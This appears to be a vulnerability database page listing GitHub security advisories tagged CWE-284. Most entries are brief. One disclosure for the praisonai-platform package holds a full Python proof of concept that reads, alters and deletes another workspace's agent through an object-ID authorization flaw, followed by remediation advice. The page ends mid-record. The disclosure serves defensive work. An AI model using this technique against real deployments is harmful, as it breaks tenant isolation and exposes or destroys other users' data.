CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
7797 vulnerabilities reference this CWE, most recent first.
GHSA-6GM9-CPPW-HVX5
Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-12 18:30Improper access control in M365 Copilot allows an authorized attacker to perform spoofing locally.
{
"affected": [],
"aliases": [
"CVE-2026-41100"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T18:17:21Z",
"severity": "MODERATE"
},
"details": "Improper access control in M365 Copilot allows an authorized attacker to perform spoofing locally.",
"id": "GHSA-6gm9-cppw-hvx5",
"modified": "2026-05-12T18:30:46Z",
"published": "2026-05-12T18:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41100"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41100"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6GR5-69FQ-6MMQ
Vulnerability from github – Published: 2025-11-14 18:31 – Updated: 2025-11-14 21:30An Incorrect Access Control vulnerability was found in the Application Server of Desktop Alert PingAlert version 6.1.0.11 to 6.1.1.2 exploitable remotely for Escalation of Privileges.
{
"affected": [],
"aliases": [
"CVE-2025-54339"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-14T18:15:48Z",
"severity": "CRITICAL"
},
"details": "An Incorrect Access Control vulnerability was found in the Application Server of Desktop Alert PingAlert version 6.1.0.11 to 6.1.1.2 exploitable remotely for Escalation of Privileges.",
"id": "GHSA-6gr5-69fq-6mmq",
"modified": "2025-11-14T21:30:28Z",
"published": "2025-11-14T18:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54339"
},
{
"type": "WEB",
"url": "https://desktopalert.net"
},
{
"type": "WEB",
"url": "https://desktopalert.net/cve-2025-54339"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-6GV5-CVCQ-3X2C
Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2024-04-04 01:11A vulnerability in the fabric infrastructure VLAN connection establishment of the Cisco Nexus 9000 Series Application Centric Infrastructure (ACI) Mode Switch Software could allow an unauthenticated, adjacent attacker to bypass security validations and connect an unauthorized server to the infrastructure VLAN. The vulnerability is due to insufficient security requirements during the Link Layer Discovery Protocol (LLDP) setup phase of the infrastructure VLAN. An attacker could exploit this vulnerability by sending a malicious LLDP packet on the adjacent subnet to the Cisco Nexus 9000 Series Switch in ACI mode. A successful exploit could allow the attacker to connect an unauthorized server to the infrastructure VLAN, which is highly privileged. With a connection to the infrastructure VLAN, the attacker can make unauthorized connections to Cisco Application Policy Infrastructure Controller (APIC) services or join other host endpoints.
{
"affected": [],
"aliases": [
"CVE-2019-1890"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-07-04T20:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the fabric infrastructure VLAN connection establishment of the Cisco Nexus 9000 Series Application Centric Infrastructure (ACI) Mode Switch Software could allow an unauthenticated, adjacent attacker to bypass security validations and connect an unauthorized server to the infrastructure VLAN. The vulnerability is due to insufficient security requirements during the Link Layer Discovery Protocol (LLDP) setup phase of the infrastructure VLAN. An attacker could exploit this vulnerability by sending a malicious LLDP packet on the adjacent subnet to the Cisco Nexus 9000 Series Switch in ACI mode. A successful exploit could allow the attacker to connect an unauthorized server to the infrastructure VLAN, which is highly privileged. With a connection to the infrastructure VLAN, the attacker can make unauthorized connections to Cisco Application Policy Infrastructure Controller (APIC) services or join other host endpoints.",
"id": "GHSA-6gv5-cvcq-3x2c",
"modified": "2024-04-04T01:11:44Z",
"published": "2022-05-24T16:49:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1890"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190703-n9kaci-bypass"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/109052"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6GVP-867F-7HCJ
Vulnerability from github – Published: 2026-01-13 18:31 – Updated: 2026-01-13 18:31Improper access control in Windows Hyper-V allows an authorized attacker to disclose information locally.
{
"affected": [],
"aliases": [
"CVE-2026-20825"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-13T18:16:09Z",
"severity": "MODERATE"
},
"details": "Improper access control in Windows Hyper-V allows an authorized attacker to disclose information locally.",
"id": "GHSA-6gvp-867f-7hcj",
"modified": "2026-01-13T18:31:08Z",
"published": "2026-01-13T18:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20825"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20825"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6GVW-PRXR-HCP7
Vulnerability from github – Published: 2023-08-18 12:30 – Updated: 2024-04-04 07:02LAN-W451NGR all versions provided by LOGITEC CORPORATION contains an improper access control vulnerability, which allows an unauthenticated attacker to log in to telnet service.
{
"affected": [],
"aliases": [
"CVE-2023-38132"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-18T10:15:11Z",
"severity": "HIGH"
},
"details": "LAN-W451NGR all versions provided by LOGITEC CORPORATION contains an improper access control vulnerability, which allows an unauthenticated attacker to log in to telnet service.",
"id": "GHSA-6gvw-prxr-hcp7",
"modified": "2024-04-04T07:02:46Z",
"published": "2023-08-18T12:30:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38132"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/vu/JVNVU91630351"
},
{
"type": "WEB",
"url": "https://www.elecom.co.jp/news/security/20230810-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6GXJ-M2XJ-22Q8
Vulnerability from github – Published: 2025-11-19 21:31 – Updated: 2025-11-19 21:31A vulnerability was found in Campcodes Retro Basketball Shoes Online Store 1.0. Affected by this vulnerability is an unknown functionality of the file /admin/admin_football.php. Performing manipulation of the argument product_image results in unrestricted upload. The attack is possible to be carried out remotely. The exploit has been made public and could be used.
{
"affected": [],
"aliases": [
"CVE-2025-13411"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-19T21:15:49Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in Campcodes Retro Basketball Shoes Online Store 1.0. Affected by this vulnerability is an unknown functionality of the file /admin/admin_football.php. Performing manipulation of the argument product_image results in unrestricted upload. The attack is possible to be carried out remotely. The exploit has been made public and could be used.",
"id": "GHSA-6gxj-m2xj-22q8",
"modified": "2025-11-19T21:31:24Z",
"published": "2025-11-19T21:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13411"
},
{
"type": "WEB",
"url": "https://github.com/laosijivul/cve/issues/2"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.332938"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.332938"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.693697"
},
{
"type": "WEB",
"url": "https://www.campcodes.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-6H2F-XFHJ-5WR4
Vulnerability from github – Published: 2022-05-17 03:20 – Updated: 2022-05-17 03:20The structured-clone implementation in Mozilla Firefox before 34.0 and SeaMonkey before 2.31 does not properly interact with XrayWrapper property filtering, which allows remote attackers to bypass intended DOM object restrictions by leveraging property availability after XrayWrapper removal.
{
"affected": [],
"aliases": [
"CVE-2014-8632"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-12-11T11:59:00Z",
"severity": "MODERATE"
},
"details": "The structured-clone implementation in Mozilla Firefox before 34.0 and SeaMonkey before 2.31 does not properly interact with XrayWrapper property filtering, which allows remote attackers to bypass intended DOM object restrictions by leveraging property availability after XrayWrapper removal.",
"id": "GHSA-6h2f-xfhj-5wr4",
"modified": "2022-05-17T03:20:58Z",
"published": "2022-05-17T03:20:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-8632"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1050340"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201504-01"
},
{
"type": "WEB",
"url": "http://www.mozilla.org/security/announce/2014/mfsa2014-91.html"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/topics/security/bulletinapr2016-2952098.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6H48-8W2F-5W94
Vulnerability from github – Published: 2024-03-29 06:30 – Updated: 2025-11-05 00:31An issue was discovered in Mbed TLS 2.18.0 through 2.28.x before 2.28.8 and 3.x before 3.6.0, and Mbed Crypto. The PSA Crypto API mishandles shared memory.
{
"affected": [],
"aliases": [
"CVE-2024-28960"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-29T06:15:07Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Mbed TLS 2.18.0 through 2.28.x before 2.28.8 and 3.x before 3.6.0, and Mbed Crypto. The PSA Crypto API mishandles shared memory.",
"id": "GHSA-6h48-8w2f-5w94",
"modified": "2025-11-05T00:31:17Z",
"published": "2024-03-29T06:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28960"
},
{
"type": "WEB",
"url": "https://github.com/Mbed-TLS/mbedtls-docs/blob/main/security-advisories/mbedtls-security-advisory-2024-03.md"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/5YE3QRREGJC6K34JD4LZ5P3IALNX4QYY"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6UZNBMKYEV2J5DI7R4BQGL472V7X3WJY"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NCDU52ZDA7TX3HC5JCU6ZZIJQOPTNBK6"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5YE3QRREGJC6K34JD4LZ5P3IALNX4QYY"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6UZNBMKYEV2J5DI7R4BQGL472V7X3WJY"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NCDU52ZDA7TX3HC5JCU6ZZIJQOPTNBK6"
},
{
"type": "WEB",
"url": "https://mbed-tls.readthedocs.io/en/latest/tech-updates/security-advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6H5P-8MVR-F4FG
Vulnerability from github – Published: 2024-02-22 06:30 – Updated: 2024-02-22 06:30The Event Tickets and Registration plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'email' action in all versions up to, and including, 5.8.1. This makes it possible for authenticated attackers, with contributor-level access and above, to email the attendees list to themselves.
{
"affected": [],
"aliases": [
"CVE-2024-1053"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-22T06:15:57Z",
"severity": "MODERATE"
},
"details": "The Event Tickets and Registration plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the \u0027email\u0027 action in all versions up to, and including, 5.8.1. This makes it possible for authenticated attackers, with contributor-level access and above, to email the attendees list to themselves.",
"id": "GHSA-6h5p-8mvr-f4fg",
"modified": "2024-02-22T06:30:34Z",
"published": "2024-02-22T06:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1053"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3038150/event-tickets/tags/5.8.2/src/Tickets/Commerce/Reports/Attendees.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a7839847-2637-4a0d-bfc1-5f80b8433e24?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6H6V-6M7W-7VXX
Vulnerability from github – Published: 2026-05-29 22:35 – Updated: 2026-05-29 22:35Summary
PraisonAI Platform's workspace-scoped REST routes contain a systemic object-level authorization flaw that allows an authenticated user from one workspace to access, modify, and delete objects belonging to another workspace by supplying the victim object's global UUID.
The affected pattern appears in workspace-scoped routes such as agents, projects, issues, and comments. The route layer verifies that the caller is a member of the workspace_id provided in the URL, but the service layer later resolves the target object by global object ID only. It does not verify that the resolved object actually belongs to the workspace in the URL.
As a result, a valid member of workspace_attacker can call a route under:
/api/v1/workspaces/{workspace_attacker}/...
while supplying an object UUID from workspace_victim. The server authorizes the request based on membership in workspace_attacker, then fetches or mutates the victim object by global UUID.
This breaks the platform's workspace isolation boundary.
Details
The root cause is that workspace membership authorization and object ownership validation are not bound together.
The workspace dependency validates only that the caller is a member of the workspace named in the URL:
# praisonai_platform/api/deps.py
async def require_workspace_member(
workspace_id: str,
user: AuthIdentity = Depends(get_current_user),
session: AsyncSession = Depends(get_db),
min_role: str = "member",
) -> AuthIdentity:
member_svc = MemberService(session)
has = await member_svc.has_role(workspace_id, user.id, min_role)
This confirms that the caller has access to the URL workspace. However, it does not prove that the target object belongs to that workspace.
For example, the agent routes are scoped under a workspace path, but object access is performed using only the raw agent_id:
# praisonai_platform/api/routes/agents.py
@router.get("/{agent_id}", response_model=AgentResponse)
async def get_agent(workspace_id: str, agent_id: str, ...):
agent = await svc.get(agent_id)
return AgentResponse.model_validate(agent)
The service method resolves the agent by global UUID only:
# praisonai_platform/services/agent_service.py
async def get(self, agent_id: str) -> Optional[Agent]:
return await self._session.get(Agent, agent_id)
The same pattern is used for update and delete operations:
# praisonai_platform/api/routes/agents.py
agent = await svc.update(agent_id, ...)
deleted = await svc.delete(agent_id)
# praisonai_platform/services/agent_service.py
agent = await self.get(agent_id)
...
await self._session.delete(agent)
There is no check equivalent to:
agent.workspace_id == workspace_id
Therefore, if an attacker is a valid member of any workspace, they can pass their own workspace ID in the URL while supplying an object ID from another workspace.
The same architectural pattern appears in other workspace-scoped object routes, including projects, issues, and comments:
# praisonai_platform/api/routes/projects.py
project = await svc.get(project_id)
project = await svc.update(project_id, ...)
deleted = await svc.delete(project_id)
# praisonai_platform/services/project_service.py
return await self._session.get(Project, project_id)
# praisonai_platform/api/routes/issues.py
issue = await svc.get(issue_id)
issue = await svc.update(issue_id, ...)
deleted = await svc.delete(issue_id)
comments = await svc.list_for_issue(issue_id)
# praisonai_platform/services/issue_service.py
return await self._session.get(Issue, issue_id)
# praisonai_platform/services/comment_service.py
select(Comment).where(Comment.issue_id == issue_id)
This indicates a systemic object-level access control issue: routes are workspace-scoped, but service-layer object lookups are not workspace-bound.
PoC
The following local PoC creates a real PraisonAI Platform FastAPI app backed by an in-memory SQLite database, then uses only HTTP requests against the real API routes.
The PoC demonstrates the following chain:
- An attacker account creates
workspace_attacker. - A victim account creates
workspace_victim. - The victim creates an agent in
workspace_victim. - The attacker sends:
GET /api/v1/workspaces/{workspace_attacker}/agents/{victim_agent_id}
- The server returns the victim agent from
workspace_victim. - The attacker updates the victim agent through the attacker workspace path.
- The victim observes the attacker-controlled modification.
- The attacker deletes the victim agent through the attacker workspace path.
Run with:
PRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py
Full PoC:
#!/usr/bin/env python3
from __future__ import annotations
import asyncio
import os
import sys
import types
import uuid
from pathlib import Path
from httpx import ASGITransport, AsyncClient
from sqlalchemy.ext.asyncio import create_async_engine
REPO_ROOT = Path(os.environ.get("PRAISONAI_REPO", "/path/to/PraisonAI")).resolve()
PLATFORM_ROOT = REPO_ROOT / "src" / "praisonai-platform"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"
def verify_source() -> None:
expected = {
PLATFORM_ROOT / "praisonai_platform/api/deps.py": [
'min_role: str = "member"',
"member_svc.has_role(workspace_id, user.id, min_role)",
],
PLATFORM_ROOT / "praisonai_platform/api/routes/agents.py": [
'@router.get("/{agent_id}", response_model=AgentResponse)',
"agent = await svc.get(agent_id)",
'@router.patch("/{agent_id}", response_model=AgentResponse)',
"agent = await svc.update(",
'@router.delete("/{agent_id}", status_code=status.HTTP_204_NO_CONTENT)',
"deleted = await svc.delete(agent_id)",
],
PLATFORM_ROOT / "praisonai_platform/services/agent_service.py": [
"return await self._session.get(Agent, agent_id)",
"agent = await self.get(agent_id)",
"await self._session.delete(agent)",
],
}
for path, needles in expected.items():
if not path.exists():
raise RuntimeError(f"source verification failed: file not found: {path}")
text = path.read_text(encoding="utf-8")
for needle in needles:
if needle not in text:
raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")
async def main() -> int:
verify_source()
sys.path.insert(0, str(PLATFORM_ROOT))
sys.path.insert(0, str(AGENTS_ROOT))
if "passlib" not in sys.modules:
passlib_pkg = types.ModuleType("passlib")
passlib_pkg.__path__ = []
sys.modules["passlib"] = passlib_pkg
if "passlib.context" not in sys.modules:
passlib_context = types.ModuleType("passlib.context")
class _CryptContext:
def __init__(self, *args, **kwargs):
pass
def hash(self, password: str) -> str:
return f"stub::{password}"
def verify(self, password: str, hashed: str) -> bool:
return hashed == f"stub::{password}"
passlib_context.CryptContext = _CryptContext
sys.modules["passlib.context"] = passlib_context
os.environ["PLATFORM_JWT_SECRET"] = "test-secret-for-testing-only"
from praisonai_platform.api.app import create_app
from praisonai_platform.db.base import Base, reset_engine
from praisonai_platform.db import base as base_mod
await reset_engine()
engine = create_async_engine(
"sqlite+aiosqlite:///:memory:",
echo=False,
connect_args={"check_same_thread": False},
)
base_mod._engine = engine
base_mod._session_factory = None
async with engine.begin() as conn:
await conn.run_sync(Base.metadata.create_all)
app = create_app()
suffix = uuid.uuid4().hex[:8]
password = "Password123!"
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://test") as client:
attacker = await client.post(
"/api/v1/auth/register",
json={
"email": f"attacker_{suffix}@example.com",
"password": password,
"name": f"attacker_{suffix}",
},
)
victim = await client.post(
"/api/v1/auth/register",
json={
"email": f"victim_{suffix}@example.com",
"password": password,
"name": f"victim_{suffix}",
},
)
attacker_json = attacker.json()
victim_json = victim.json()
attacker_headers = {"Authorization": f"Bearer {attacker_json['token']}"}
victim_headers = {"Authorization": f"Bearer {victim_json['token']}"}
attacker_ws = await client.post(
"/api/v1/workspaces/",
json={
"name": f"attacker-ws-{suffix}",
"slug": f"attacker-ws-{suffix}",
"description": "attacker workspace",
},
headers=attacker_headers,
)
victim_ws = await client.post(
"/api/v1/workspaces/",
json={
"name": f"victim-ws-{suffix}",
"slug": f"victim-ws-{suffix}",
"description": "victim workspace",
},
headers=victim_headers,
)
attacker_workspace_id = attacker_ws.json()["id"]
victim_workspace_id = victim_ws.json()["id"]
victim_agent = await client.post(
f"/api/v1/workspaces/{victim_workspace_id}/agents/",
json={
"name": "victim-agent",
"runtime_mode": "local",
"instructions": "secret instructions",
},
headers=victim_headers,
)
victim_agent_id = victim_agent.json()["id"]
attacker_read = await client.get(
f"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}",
headers=attacker_headers,
)
attacker_update = await client.patch(
f"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}",
json={"instructions": "pwned-by-attacker"},
headers=attacker_headers,
)
victim_read_after_update = await client.get(
f"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}",
headers=victim_headers,
)
attacker_delete = await client.delete(
f"/api/v1/workspaces/{attacker_workspace_id}/agents/{victim_agent_id}",
headers=attacker_headers,
)
victim_read_after_delete = await client.get(
f"/api/v1/workspaces/{victim_workspace_id}/agents/{victim_agent_id}",
headers=victim_headers,
)
print(f"[poc] attacker_workspace={attacker_workspace_id}")
print(f"[poc] victim_workspace={victim_workspace_id}")
print(f"[poc] victim_agent_id={victim_agent_id}")
print(
"[poc] attacker_read_status="
f"{attacker_read.status_code} "
f"workspace_id={attacker_read.json().get('workspace_id')} "
f"instructions={attacker_read.json().get('instructions')}"
)
print(
"[poc] attacker_update_status="
f"{attacker_update.status_code} "
f"instructions={attacker_update.json().get('instructions')}"
)
print(
"[poc] victim_read_after_update_status="
f"{victim_read_after_update.status_code} "
f"instructions={victim_read_after_update.json().get('instructions')}"
)
print(f"[poc] attacker_delete_status={attacker_delete.status_code}")
print(f"[poc] victim_read_after_delete_status={victim_read_after_delete.status_code}")
if attacker_read.status_code != 200:
raise SystemExit("[poc] MISS: attacker could not read victim agent")
if attacker_read.json().get("workspace_id") != victim_workspace_id:
raise SystemExit("[poc] MISS: read response was not the victim workspace agent")
if attacker_update.status_code != 200 or attacker_update.json().get("instructions") != "pwned-by-attacker":
raise SystemExit("[poc] MISS: attacker could not update victim agent")
if victim_read_after_update.status_code != 200 or victim_read_after_update.json().get("instructions") != "pwned-by-attacker":
raise SystemExit("[poc] MISS: victim did not observe attacker-controlled update")
if attacker_delete.status_code != 204:
raise SystemExit("[poc] MISS: attacker could not delete victim agent")
if victim_read_after_delete.status_code != 404:
raise SystemExit("[poc] MISS: victim agent still existed after attacker delete")
print("[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent")
await engine.dispose()
base_mod._engine = None
base_mod._session_factory = None
return 0
if __name__ == "__main__":
raise SystemExit(asyncio.run(main()))
Observed result:
[poc] attacker_workspace=3f7c...
[poc] victim_workspace=be1d...
[poc] victim_agent_id=7f04...
[poc] attacker_read_status=200 workspace_id=be1d... instructions=secret instructions
[poc] attacker_update_status=200 instructions=pwned-by-attacker
[poc] victim_read_after_update_status=200 instructions=pwned-by-attacker
[poc] attacker_delete_status=204
[poc] victim_read_after_delete_status=404
[poc] HIT: attacker workspace token read, modified, and deleted a victim workspace agent
This confirms that an authenticated user from one workspace can read, modify, and delete an object belonging to another workspace by using the victim object's UUID through the attacker's own workspace-scoped route.
Impact
Any authenticated workspace member who knows or obtains object UUIDs from another workspace may be able to:
- read other workspaces' agents;
- read agent instructions and metadata;
- modify victim agents;
- delete victim agents;
- potentially read, modify, or delete projects and issues that follow the same object lookup pattern;
- enumerate comments for issues by raw
issue_id; - corrupt activity data, project state, and issue state across workspace boundaries.
This breaks the platform's tenant-isolation boundary. The impact is especially serious in multi-tenant deployments where separate users or teams rely on workspaces as an authorization boundary.
The demonstrated PoC confirms read, update, and delete access against agents. The same root-cause pattern appears in other workspace-scoped object routes and should be audited across the platform.
Suggested remediation
Recommended fixes:
-
Require every object fetch, update, and delete method to take both
workspace_idandobject_id. -
Enforce object ownership in the service layer. For example:
agent = await self._session.get(Agent, agent_id)
if not agent or agent.workspace_id != workspace_id:
return None
-
Avoid service methods that resolve workspace-owned objects by global UUID alone.
-
Apply the same object-level ownership checks to agents, projects, issues, comments, dependencies, and any other workspace-owned resources.
-
For comment and dependency helpers that pivot from raw
issue_id, validate that the parent issue belongs to the authorized workspace before returning or modifying child records. -
Add regression tests for negative cross-workspace access cases, including:
workspace A member cannot read workspace B object
workspace A member cannot update workspace B object
workspace A member cannot delete workspace B object
workspace A member cannot list comments for workspace B issue
- Return
404 Not Foundor403 Forbiddenconsistently when an object does not belong to the authorized workspace.
Security boundary
This report concerns a workspace tenant-isolation failure. The caller is authenticated, but authentication alone is insufficient. The server must also verify that the requested object belongs to the workspace for which the caller has authorization.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.2"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai-platform"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47399"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T22:35:13Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nPraisonAI Platform\u0027s workspace-scoped REST routes contain a systemic object-level authorization flaw that allows an authenticated user from one workspace to access, modify, and delete objects belonging to another workspace by supplying the victim object\u0027s global UUID.\n\nThe affected pattern appears in workspace-scoped routes such as agents, projects, issues, and comments. The route layer verifies that the caller is a member of the `workspace_id` provided in the URL, but the service layer later resolves the target object by global object ID only. It does not verify that the resolved object actually belongs to the workspace in the URL.\n\nAs a result, a valid member of `workspace_attacker` can call a route under:\n\n```text\n/api/v1/workspaces/{workspace_attacker}/...\n```\n\nwhile supplying an object UUID from `workspace_victim`. The server authorizes the request based on membership in `workspace_attacker`, then fetches or mutates the victim object by global UUID.\n\nThis breaks the platform\u0027s workspace isolation boundary.\n\n### Details\n\nThe root cause is that workspace membership authorization and object ownership validation are not bound together.\n\nThe workspace dependency validates only that the caller is a member of the workspace named in the URL:\n\n```python\n# praisonai_platform/api/deps.py\nasync def require_workspace_member(\n workspace_id: str,\n user: AuthIdentity = Depends(get_current_user),\n session: AsyncSession = Depends(get_db),\n min_role: str = \"member\",\n) -\u003e AuthIdentity:\n member_svc = MemberService(session)\n has = await member_svc.has_role(workspace_id, user.id, min_role)\n```\n\nThis confirms that the caller has access to the URL workspace. However, it does not prove that the target object belongs to that workspace.\n\nFor example, the agent routes are scoped under a workspace path, but object access is performed using only the raw `agent_id`:\n\n```python\n# praisonai_platform/api/routes/agents.py\n@router.get(\"/{agent_id}\", response_model=AgentResponse)\nasync def get_agent(workspace_id: str, agent_id: str, ...):\n agent = await svc.get(agent_id)\n return AgentResponse.model_validate(agent)\n```\n\nThe service method resolves the agent by global UUID only:\n\n```python\n# praisonai_platform/services/agent_service.py\nasync def get(self, agent_id: str) -\u003e Optional[Agent]:\n return await self._session.get(Agent, agent_id)\n```\n\nThe same pattern is used for update and delete operations:\n\n```python\n# praisonai_platform/api/routes/agents.py\nagent = await svc.update(agent_id, ...)\n\ndeleted = await svc.delete(agent_id)\n```\n\n```python\n# praisonai_platform/services/agent_service.py\nagent = await self.get(agent_id)\n...\nawait self._session.delete(agent)\n```\n\nThere is no check equivalent to:\n\n```python\nagent.workspace_id == workspace_id\n```\n\nTherefore, if an attacker is a valid member of any workspace, they can pass their own workspace ID in the URL while supplying an object ID from another workspace.\n\nThe same architectural pattern appears in other workspace-scoped object routes, including projects, issues, and comments:\n\n```python\n# praisonai_platform/api/routes/projects.py\nproject = await svc.get(project_id)\nproject = await svc.update(project_id, ...)\ndeleted = await svc.delete(project_id)\n```\n\n```python\n# praisonai_platform/services/project_service.py\nreturn await self._session.get(Project, project_id)\n```\n\n```python\n# praisonai_platform/api/routes/issues.py\nissue = await svc.get(issue_id)\nissue = await svc.update(issue_id, ...)\ndeleted = await svc.delete(issue_id)\ncomments = await svc.list_for_issue(issue_id)\n```\n\n```python\n# praisonai_platform/services/issue_service.py\nreturn await self._session.get(Issue, issue_id)\n```\n\n```python\n# praisonai_platform/services/comment_service.py\nselect(Comment).where(Comment.issue_id == issue_id)\n```\n\nThis indicates a systemic object-level access control issue: routes are workspace-scoped, but service-layer object lookups are not workspace-bound.\n\n### PoC\n\nThe following local PoC creates a real PraisonAI Platform FastAPI app backed by an in-memory SQLite database, then uses only HTTP requests against the real API routes.\n\nThe PoC demonstrates the following chain:\n\n1. An attacker account creates `workspace_attacker`.\n2. A victim account creates `workspace_victim`.\n3. The victim creates an agent in `workspace_victim`.\n4. The attacker sends:\n\n```text\nGET /api/v1/workspaces/{workspace_attacker}/agents/{victim_agent_id}\n```\n\n5. The server returns the victim agent from `workspace_victim`.\n6. 